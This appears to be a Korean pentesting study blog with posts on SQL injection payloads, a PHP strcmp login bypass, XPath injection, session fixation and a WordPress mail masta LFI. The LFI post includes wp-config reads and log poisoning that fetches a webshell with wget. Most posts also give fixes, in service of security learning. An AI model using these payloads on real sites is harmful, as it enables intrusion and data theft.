2017. 5. 30.

/bin/false 와 sbin/nologin 의 차이

/bin/false
allows a login, but no shell, no ssh tunnels and no home directory.
-> 시스템의 로그인은 불가능, FTP 서버 프로그램같은 프로그램도 불가능하다.
쉘이나 ssh과 같은 터널링(원격접속) 그리고 홈디렉토리를 사용할 수 없다.

/sbin/nologin
disallows logins completely and returns a polite account unavailable message.
-> 사용자 계정의 쉘부분에 /bin/nologin 으로 설정을 하면
로긴 불가하고, 메시지들은 반환된다 ssh는 사용불가능하며 ftp의 경우 사용이 가능합니다.

참고

  • http://faq.hostway.co.kr/Linux_ETC/1624



Continue reading

2017. 5. 25.

Wordpress 플러그인 취약점 관련 (작성중)

ScipvulDB : https://vuldb.com/
CVE : http://cve.mitre.org
OsvDB : http://www.osvdb.org
SecurityFocus : http://www.securityfocus.com/bid
SecurityTracker : http://www.securitytracker.com

wordpress 취약점 스캔, WPScan(칼리리눅스에 포함되어 있음)
- http://wpscan.org
- https://wpvulndb.com

1. 진단 환경

1) 칼리리눅스 도구 설치


2) WPScan 설치
- 워드프레스 진단에서 가장 많이 사용하는 도구는 WPScan이다.
(http://wpscan.org / https://wpvulndb.com)
WPScan은 워드 프레스 최신 취약점 미패치, 플러그인, 테마 취약점 미패치를 데이터베이스화 하여 보여 주는 도구로, 루비 언어로 되어 있어서 루비 환경이 구성되어 있다면 어디에서든 활용가능하다.
- WPScan 과 비슷한 기능을 가지고 있으면서 다른 CMS 의 취약점 진단 항목까지 포함한 CMSmap 이라는 도구도 있다.


3) 리눅스 환경에서 워드프레스 설치


사이트에 설치된 워드프레스 테마와 플러그인을 확인 할 수 있는 사이트
- http:whatwpthemeisthat.com

** 플러그인, 테마는 wp-content, wp-content/plugins, wp-content/themes 폴더에 있다.

5) 워드프레스 취약 버전 다운로드 방법
- 워드 프레스 정식 홈페이지에서는 최신 버전만 다운로드 링크가 제공되므로 이전버전을 받기가 어렵다. 때문에, exploit db 사이트에서 취약 애플리케이션을 다운로드 하거나, 수동으로 입력해서 취약 플러그인을 다운받을 수 있다. 예를 들어, http://downloads.wordpress.org/plugin/custom-contact-forms.5.1.0.3.zip 은 custom-contact-forms 플러그인 중에서 5.1.0.3 버전을 다운로드 한다는 의미이다. 


** TIPS
워드프레스에서 데이터 타입을 확인하기위해 APMSETUP 내 'phpMyAdmin' 페이지를 활용
할 수 있다.
- test.co.kr/mysql/plugin명/phpMyAdmin



# 워드프레스 SQL 인젝션 취약점 점검 절차

1. 플러그인을 설치한 후 데이터베이스에 테이블이 만들어지는지, 만들어진다면 데이터 데이터 타입 중 varchar 또는 varchar2 타입으로 된 데이터가 있는지 확인한다.

2. 플러그인이 수행하는 모든 페이지를 실행하며 발생하는 변수를 확인한 후 소스코드와 대조하여 varchar 데이터 타입과 맵핑(SQL 쿼리문 질의)하는 변수가 있는지 확인한다.

3. 맵핑하는 SQL 쿼리문에 SQL 인젝션에 대한 방어가 존재하는지 확인한다.

4. 맵핑하는 SQL 쿼리문이 있는 페이지에 쿠키값에 대한 체크 구문이 있는지 확인한다. (없다면 공격이 매우 쉬워진다.)

5. AND 1=1, AND 1=2 와 같이 대표적인 인젝션 가능성 테이스 구문을 삽입하여 인젝션이 되는지 확인한다.

6. 인젝션이 된다면 파이썬으로 자동화 스크립트 구문을 코딩하거나 자동화도구 (SQLmap 등)을 사용하여 인젝션 공격을 수행한다.

Continue reading

2017. 5. 18.

[WEB] 세션 고정 취약점

취약점 개요
: 사용자 로그인 시 항상 일정하게 고정된 세션 ID 값을 사용하는 취약점으로 로그인 시 세션마다 새로운 세션ID가 발행되지 않는다면 세션 ID를 도용한 비인가자의 접근 및 권한 우회가 가능하므로 세션 ID의 타임아웃 기능을 설정하고 세션 ID의 고정 사용을 방지하도록 설정함.


판단기준
: 양호 - 로그인별 세션 ID가 발행되는 경우
: 취약 - 로그인 세션 ID가 고정 사용되는 경우

보안설정방법
: 인증 기능에서 사용자가 인증을 받은 후에 새로운 세션 ID를 할당 받도록 발행함

모의해킹 시나리오 (부정확함, 수정 필요)
1. 해커는 웹(Target)서버에 접근하여 정상 세션을 발급받는다.
2. 해커는 희생자(admin)에게 해커가 받은 정상 세션을 강제로 Set-Cookie하고 웹으로 리다이렉트 하는 스크립트를 메일로 전송한다.
3. 희생자(admin)는 해커가 보낸 메일을 확인하고 스크립트를 실행한다.
4. 희생자(admin)는 웹(target)에 접근할때 해커와 같은 세션으로 접근하게 된다.
5. 희생자(admin)는 정상적으로 관리자 페이지에 로그인한다.
6. 관리자 페이지에 로그인(인증절차)을 하여도 세션이 로그인 전후로 변하지 않는다.
7. 해커와 희생자는 동일한 세션을 사용하기 때문에 해커는 새로고침(F5)을 할때 관리자 권한을 가져온다.

조치 방안
- 로그인 전후로 세션을 재 발급한다.

[PHP]

<?php
session_start();
$old_sessionid = session_id();
session_regenerate_id();
$new_sessionid = session_id();

echo "Old Session : $old_sessionid <br/>";
echo "New Session : $new_sessionid <br/>";

print_r($_SESSION);

?>

- IP를 체크하여 멀티세션을 막는다.

참고 URL
- http://reiphiel.tistory.com/entry/session-fixation-vulnerability




Continue reading

2017. 5. 15.

[웹 취약점] SQL 인젝션 -4 (Cookie 값을 이용)

1. 개요

- Cookie를 사용하는 경우에 시도해볼 만한 취약점.

2. 점검 방법

- 브라우저에서 서버로 전달되는 request 값의 header 값을 확인한다.
- Cookie 값중에서 USERID 값을 변조하고 서버에 전달한다.
- 만약 sql 관련 에러가 발생하면 SQL 취약점이 있다는 것이다.
- 방금 수정한 USERID 의 값을 다음과 같이 union sql 취약점을 시도한다.

USERID=1 union select accountid, acct_type from accounts;--
USERID=1 union select username, password from users;--

- 다음과 같이 sql 구문 안에 XSS 구문을 삽입 할 수도 있다.

USERID=1 union select "<script>alert(1234)</script>","injection FOUND!" from accounts;--


참고

  • http://blog.naver.com/jaewook376/220563891080
  • http://limjunyoung.tistory.com/111 (cookie-Based SQL Injection 관련)

Continue reading

2017. 5. 14.

[웹 취약점] SQL 인젝션 -3 (Oracle)

<<Oracle SQL 인젝션>>

1. 인증 우회
- or 'abc'='abc'
- or 'ab'='a'+'b'
- or 2>1
- or 1=1

#주석문 이용 우회
'--
)'--
';--

2. 에러 기반

- 싱글 쿼터 ('), -- 주석 삽입
- 'and 1='a' 또는 'and 1/'a' 삽입

# 사용자 정보 확인
' and 1=utl_inaddr.get_host_name(user)--

# 버전 정보
' and 1=utl_inaddr.get_host_name((select banner from v$version where rownum=1))--
' and 1=utl_inaddr.get_host_name((select banner from v$instance where rownum=1))--

# 현재 데이터베이스 정보
' and 1=url_inaddr.get_host_name((select name from v$database))--

3. Union 구문 기법
기존 어플리케이션 조회 결과 외에 주요 정보를 함께 조회하여 내부 데이터 획득하기 위함

SQL 결과를 병합하기 위해서는 조회하는 데이터의 형태가 동일하여야 하므로 ('UNION SELECT 'test', null, null from dual--) Union을 이용하여 취약한 어플리케이션의 데이터 형을 획득

' union select 'test', null, null, null from dual--
' union select 'test', 1, null, null from dual--
' union select 'test', 1, test, null from dual--

획득한 데이터 형을  이용하여 데이터 출력하기

' and 1=0 union select userid,first_name,second_name,null from customers--


# 참고
  • http://lsybongbong.tistory.com/entry/%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-SQL-Injection-%EC%A0%95%EB%A6%AC

Continue reading

[웹 취약점] SQL 인젝션 -2

1. 개요

본 포스팅에서는 Union based 를 위해서는 기본적으로 에러정보가 웹 페이지에 노출된다는 것을 전제로 하고있다.

2. 공격 포인트

# 공격 지점 탐색
database의 에러메세지를 기반으로 한 공격이다. 즉 SQL 구문 중 group by 와 having 구문을 사용하여 에러정보가 유출되는 지점을 찾는다.

xxx.xxx.xxx.xxx/search?id=1


# 테이블, 필드 정보 획득
xxx.xxx.xxx.xxx/search?id=1' having 1=1--  이를 통해 에러가 나는 것을 확인한다.

이를 통해, 테이블 정보와 필드 정보를 확인할 수 있는데, 아래 쿼리를 반복함으로써 데이터를 수집한다.

xxx.xxx.xxx.xxx/search?id=1' group by user_id, user_name having 1=1--

# 데이터 타입을 알아냄으로써, 관리자 계정정보 변경
xxx.xxx.xxx.xxx/search?id=1' union select sum(user_id) from 테이블명 having 1=1--

# 칼럼 갯수 확인
또한 order by 를 반복함으로써 컬럼 갯수를 파악할 수 있다.

xxx.xxx.xxx.xxx/search?id=1 order by 1-- (정상 출력)
xxx.xxx.xxx.xxx/search?id=1 order by 2-- (정상 출력)
xxx.xxx.xxx.xxx/search?id=1 order by 3-- (정상 출력)
xxx.xxx.xxx.xxx/search?id=1 order by 4-- (정상 출력)
xxx.xxx.xxx.xxx/search?id=1 order by 5-- (정상 출력)
xxx.xxx.xxx.xxx/search?id=1 order by 6-- (정상 출력)
xxx.xxx.xxx.xxx/search?id=1 order by 7-- (에러 발생)

xxx.xxx.xxx.xxx/search?id=1 union select 1,2,3,4,5,6-- (정상 출력)
위의 구문이 union based 기법의 핵심이다.

# 웹 페이지에 사용되는 컬럼 알아내기
실제 웹페이지에서 사용되는 칼럼번호를 알아내기 위해 정상적인 파라미터인 id에 부정조건을 전달해야 한다. 즉 인자를 -1,-99 등 과 같이 음수값으로 존재하지 않을 만한 데이터값을 지정하거나, and 1=0 과 같이 결과가 참이 될 수 없는 조건문을 추가하는 것이다.

xxx.xxx.xxx.xxx/search?id=-1 union select 1,2,3,4,5--

위의 url 에서 유효한 쿼리는 union 을 통해 추가한 select 12,3,4,5 뿐이고 웹 페이지에 유효 쿼리 결과만이 표시된다. 즉, 1,2,3,4,5 컬럼 중에 몇몇 혹은 모든 칼럼이 웹페이지 화면에 띄워질 것이다.

웹 페이지에 사용된 컬럼이 2번임을 알아냈다고 가정하고, 그 2번 칼럼을 통해 추가 정보를 얻을 수 있다.


# Database 명 알아내기
xxx.xxx.xxx.xxx/search?id=-1 union select 1,database(),3,4,5--

# table 명 알아내기 
MySQL 의 시스템 테이블인 information_schema.tables 를 이용하면 해당 Database의 테이블 리스트를 뽑아낼 수 있다.

xxx.xxx.xxx.xxx/search?id=-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()--

# Column 명 알아내기
xxx.xxx.xxx.xxx/search?id=-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=테이블명--

# Data 추출하기
컬럼명 들도 알아냈다면, 원하는 컬럼의 데이터 값들을 뽑알 수 있다.
xxx.xxx.xxx.xxx/search?id=-99 union select 1,group_concat(concat_ws(0x3a,컬럼1,컬럼2),3,4,5 from 테이블명--

concat_ws() 는 칼럼1과 컬럼2를 구분자(0x3a) 로 이어주는 역할을 한다. 웹 페이지 화면에 컬럼1과 컬럼2의 데이터가 출력될 것이다. 즉, 윈도우즈 화면에 컬럼1과 컬럼2의 데이터값이 출력될 것이다.

** group_concat : 개행없이 문자열을 한줄에 출력하기 위한 명령어

<참고>
  • http://mrrootable.tistory.com/25
  • https://dev.mysql.com/doc/refman/5.5/en/columns-table.html

Continue reading

2017. 5. 10.

[웹 취약점] PHP strcmp() 인증 우회 취약점


1. 개요

php 5.3 이상 버전에서 strcmp() 함수로 구현된 로그인 페이지를 우회하여 로그인 할 수 있다.

2. 취약점 진단 방법



<form method='get' action='index.php'>
ID: <input type='text' name='id'><br>
PW: <input type='text' name='pw'><br>
<input type='submit'><br>
</form>

<?php

$id = $_GET[id];
$pw= $_GET[pw];
$password = '123456';

if(!isset($_GET[id]) || !isset($_GET[pw])) {
exit();
}

if(strcmp($id, "admin") ==! 0 ) {
exit();
}

if(strcmp($pass, $pw) == 0) {
print ("<br>$pass");
} else {
print("<br>wrong");
}

?>

Step 1)
다음과 같이 로그인 페이지가 있다면 주목해야 할 부분은 strcmp 함수 부분이다.
strcmp 함수는 문자열을 비교하는 함수이다.
즉, strcmp(str1, str2) 일 때,
- str1이 더 크면 0 보다 큰 값 반환(양수)
- str2가 더 크면 0 보다 작은 값 반환(음수)
- 내용이 같으면 0 반환
해당 취약점 우회의 핵심은 strcmp($pass, $pw) 의 반환값을 0으로 만들어서 로그인이 허용되게 하려는 것이다.


Step 2)
strcmp 함수의 두번째 인자값을 [] (Array) 형태로 넘겨준다.
(주의!. 배열을 인자로 하는게 아니라 타입을 배열로 변경하여 데이터를 아무값을 넣는 것이다. 예를 들면, pw[]=1234 와 같다.)
이로인해, strcmp(String, Array())는 NULL 을 반환하게 되고 NULL = 0 은 true 로 처리되어 인증이 우회되는 것이다.
(참고로 php 5.2 버전에서는 array() 를 Array 라는 문자열로 변환하여 비교한다.)








해당 사이트에서 더 자세한 정보를 확인 할 수 있다.
- http://php.net/manual/en/types.comparisons.php
step 3)
넘어가는 패스워드 파라미터를 확인 한 후, 다음과 같이 수정한다 (GET든 POST 든 상관없음)
(수정전)
xxx.xxx.xxx.xxx/index.php?id=admin&pw=1234
(수정후)
xxx.xxx.xxx.xxx/index.php?id=admin?pw[]=1234 // 배열 형태로 데이터 전달


3. 해결방안
엄격한 비교(Strict comparisons with), 즉 == 가 아닌 === 를 사용하거나 is_string, is_array 와 같은 함수를 통해 입력값을 검증해야 한다.


참고

  • http://m.blog.naver.com/koromoon/220604957033


    
    

    Continue reading

    [웹 취약점] strcmp 취약점

    1. 개요


    php 5.3 이상 버전에서 strcmp() 함수로 구현된 로그인 페이지를 우회하여 로그인 할 수 있다.

    2. 취약점 진단 방법


    <form method='get' action='index.php'>
    ID: <input type='text' name='id'><br>
    PW: <input type='text' name='pw'><br>
    <input type='submit'><br>
    </form>
    
    <?php
    
    $id = $_GET[id];
    $pw= $_GET[pw];
    $password = '123456';
    
    if(!isset($_GET[id]) || !isset($_GET[pw])) {
    exit();
    }
    
    if(strcmp($id, "admin") ==! 0 ) {
    exit();
    }
    
    if(strcmp($pass, $pw) == 0) {
    print ("<br>$pass");
    } else {
    print("<br>wrong");
    }
    
    ?>
    

    step 1)

    다음과 같이 로그인 페이지가 있다면 주목해야 할 부분은 strcmp 함수 부분이다.
    strcmp 함수는 문자열을 비교하는 함수이다.
    즉, strcmp(str1, str2) 일 때,
    - str1이 더 크면 0 보다 큰 값 반환(양수)
    - str2가 더 크면 0 보다 작은 값 반환(음수)
    - 내용이 같으면 0 반환
    해당 취약점 우회의 핵심은 strcmp($pass, $pw) 의 반환값을 0으로 만들어서 로그인이 허용되게 하려는 것이다.

    step 2)

    strcmp 함수의 두번째 인자값을 [] (Array) 형태로 넘겨준다.
    (주의!. 배열을 인자로 하는게 아니라 타입을 배열로 변경하여 데이터를 아무값을 넣는 것이다. 예를 들면, pw[]=1234 와 같다.)
    이로인해, strcmp(String, Array())는 NULL 을 반환하게 되고 NULL = 0 은 true 로 처리되어 인증이 우회되는 것이다.
    (참고로 php 5.2 버전에서는 array() 를 Array 라는 문자열로 변환하여 비교한다.)



    해당 사이트에서 더 자세한 정보를 확인 할 수 있다.
    - http://php.net/manual/en/types.comparisons.php

    step 3)

    넘어가는 패스워드 파라미터를 확인 한 후, 다음과 같이 수정한다 (GET든 POST 든 상관없음)
    (수정전)
    xxx.xxx.xxx.xxx/index.php?id=admin&pw=1234
    (수정후)
    xxx.xxx.xxx.xxx/index.php?id=admin?pw[]=1234 // 배열 형태로 데이터 전달



    3. 해결방안


    엄격한 비교(Strict comparisons with), 즉 == 가 아닌 === 를 사용하거나 is_string, is_array 와 같은 함수를 통해 입력값을 검증해야 한다.


    <참고>

    • http://m.blog.naver.com/koromoon/220604957033
    • http://blog.do9.kr/entry/strcmp-%EC%B7%A8%EC%95%BD%EC%A0%90

    Continue reading

    2017. 5. 9.

    [웹 취약점] XML 취약점 관련

    취약점 점검을 하던 중 파로스 툴로 reponse 값을 확인하면 body 부분에 아래와 같은 내용을 확인 할 때가 있다. 때문에 평소 관심있었던 xml 에 대해 간단히 정리해보려 한다.

    <?xml version="1.0" encoding="UTF-8" ?> 
    <root>

    1. 개요


    XML 은 HTML과 비슷하게 데이터를 표현하는 방식의 고전적 언어이다. 그러나 기존 HTML 이 가지고 있는 태그(tag)의 한계와 SGML의 복잡성을 보완하기 위해 만들어진 것으로, 웹에서의 데이터 및 구조화된 문서들을 위한 보편적인 표준이다.

    고정된 태그를 가지고 있던 HTML 과 달리 문서의 내용에 관련된 태그를 사용자가 정의하여 확장할 수 있도록하여 내용 정보의 중요성을 강조한다.

    hello 라는 말을 웹페이지에 출력하려면 다음과 같이 코딩될 수 있다.
    <h1><font=bold>hello!!</font></h1>

    그런데 XML 이라면  <greeting>Hello </greeting> 이라고 쓸 수 있다는 것이다.

    즉, html를 사용한 경우 컴퓨터가 hello를 단순한 문자의 배열로 인식하겠지만, XML을 사용한 경우, greeting 이라는 태그정보를 통해 인사말이라는 정보를 컴퓨터가 얻을 수 있다는 것이다. 컴퓨터가 태그에 대한 데이터를 얻게되면 보다 더 간편하고 많은 일을 처리 할 수 있을 것이다.

    2. 사용 예제


    <?xml vertsion="1.0" encoding="EUC-KR"?>
    <?xml-stylesheet type="text/css" href="sam.scc"?>
    <Bookinfo>
       <BookTitle>미움받을 용기</BookTitle>
       <Author> 기시미 이치로 </Author>
       <Publisher> 인플루엔셜</Publisher>
       <Price> 10000 </Price>
    </Bookinfo>
    
    



    XPATH 예제를 보면 데이터 구조가 트리구조로 되어 있다.

    여기서 Person1의 NUM을 표시하려면 /Class/Person1/Num 와 같은 방식으로 지정할 수 있다.

    3. 취약점 점검


    테스트 사이트 : http://demo.testfire.net/bank/queryxpath.aspx

    해당 사이트에 XPath 취약점이 있는지 확인하기 위해 검색란에 SQL Injection 취약점 검색 방법과 비슷하게 싱글쿼터(') 하나를 입력하면, 다음과 같은 메시지가 출력된다.

    'string(/news/publication[contains(title,''')
    and (isPublic/text()='True')]/title/text())'

    이를 토대로 이 페이지의 XML Path 구조가 다음과 같음을 알 수 있다.
    <News>
    <Publication>
    <Title = >
    <isPublic = TorF>
    <Title = >
    <isPublic = TorF>
    </Publication>
    <Title = >
    <isPublic = TorF>
    <Title = >
    <isPublic = TorF>
    </Publication>
    </News>

    아래와 같이 타이틀에 Unix') or ('1=1 라고 입력할 수 있다.
    'string(/news/publication[contains(title,'Unix') or ('1=1')
    and (isPublic/text()='True')]/title/text())'


    참고

    • http://blog.naver.com/jaewook376/220567034404



    Continue reading

    2017. 5. 8.

    [워드 프레스 취약점] mail masta 1.0 플러그인 취약점


    1. 개요


    LFI 취약점 이란 Local File Inclusion의 약자로 RFI와 상당히 유사한 취약점이다. 원격지에 있는 파일이 대상이 된다면 RFI 취약점이고, 해당 대상 파일이 공격대상 서버에 위치해 위치해 있다면 LFI 취약점이라고 볼 수 있다.

    본 포스팅은 워드 프레스의 mail masta 라는 플러그인을 사용 할 경우 발생 할 수 있는 LFI 취약점에 대한 것이다.


    wordpress/mail-masta/inc/campaign/count_of_send.php 와 csvexport.php 에서 발생하며 include 시키는 pl 파라미터에서 검증을 하지 않아 취약점이 발생한다.

    STEP 1

    플러그인에서 mail masta 가 활성화 되어있는 것을 확인한다.

    STEP 2

    mail masta가 활성화 된 것을 확인 한 후, 파일 다운로드를 시도한다.


    xxx.xxx.xxx.xxx/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

    위와 같이 파라미터 값에 얻고자 하는 파일 값을 삽입하면 된다.

    xxx.xxx.xxx.xxx/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/www/html/wordpress/wp-config.php

    위와 같이, php 코드를 출력하려 하지만, LFI 취약점은 html 형태로 출력해주기 때문에 php 코드는 출력되지 않는다. 이를 해결하기 위해 사용하는 것이 wrapper 이다. php 5.0 이상인 경우 wrapper 기능이 추가되었는데, 이 기능을 이용하여 php 파일의 소스 코드 인코딩 값을 출력 할 수 있다.

    pl=php://filter/convert.base64-encode/resource=경로(/var/www/html/worpress/wp-config.php)

    위와 같이 파라미터에 값을 대입하면 base64 인코딩 된 값이 출력된다.




    STEP 3

    추가적으로 LFI 취약점을 응용하여 웹쉘을 업로드 할 수 있다.
    단, /var/log/apache2/access.log 디렉터리의 의 권한이 751 이 되어야 한다. 즉 other의 실행 권한(x)이 부여되어야 한다. chmod 751 /var/log/apache2 명령어를 이용하여 변경해준다.

    xxx.xxx.xxx.xxx/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/log/apache2/access.log

    위 url 로 접근하면 HOST, 시간, URL, User-Agent 등의 로그가 출력된다.

    이제 프록시 툴을 사용해 access.log 에 접근할 때 요청(GET) 패킷을 가로챈 후에
    User-Agent : <?php system('id'); ?> 라고 변경 후 서버에 요청한다. 이후 출력된 로그 결과에서 User-Agent 뒤에 삽입한 명령어의 실행 결과가 출력된 것을 확인 할 수 있다.

    STEP 4

    동일한 방법으로 공격자 PC에 있는 웹쉘을 wget으로 다운로드하는 명령어를 삽입한다.
    User-Agent: <?php system('wget http://xxx.xxx.xxx.xxx/webshell.txt -O shell.php'); ?>

    업로드된 webshell.txt 파일은 count_of_send.php 파일이 있는 폴더에 다운로드 되므로, 해당 웹쉘을 실행할 수 있을 것이다.

    < 참고>
    access.log 외에도 /proc/self/environ 의 User-Agent 값을 변경하는 방법과 PHP Wrapper의 input 기능을 사용할 수도 있다. /proc/self/environ 도 역시 other에 실행권이 부여되어 있어야 한다.

    2. 대응방안 

    count_of_send.php 파일에 시큐어코딩을 적용하여야 한다.

    <? php

    $cur_pl=$_get['pl'];
    if($cur_pl == "abc.php")
    {
    include($cur_pl);

    }
    else
    {
    ?> <script>alert("Not be allwed"); </script>}
    }

    위와 같이 특정 파일(abc.php) 만 파라미터로 받아 들이고 그 외 파일은 허용하지 않도록 하여야 한다. 또한 access.log의 other 권한에 실행권한(x)을 부여하지 않도록 한다.

    Continue reading

    Popular Posts

    Recent Posts

    Powered by Blogger.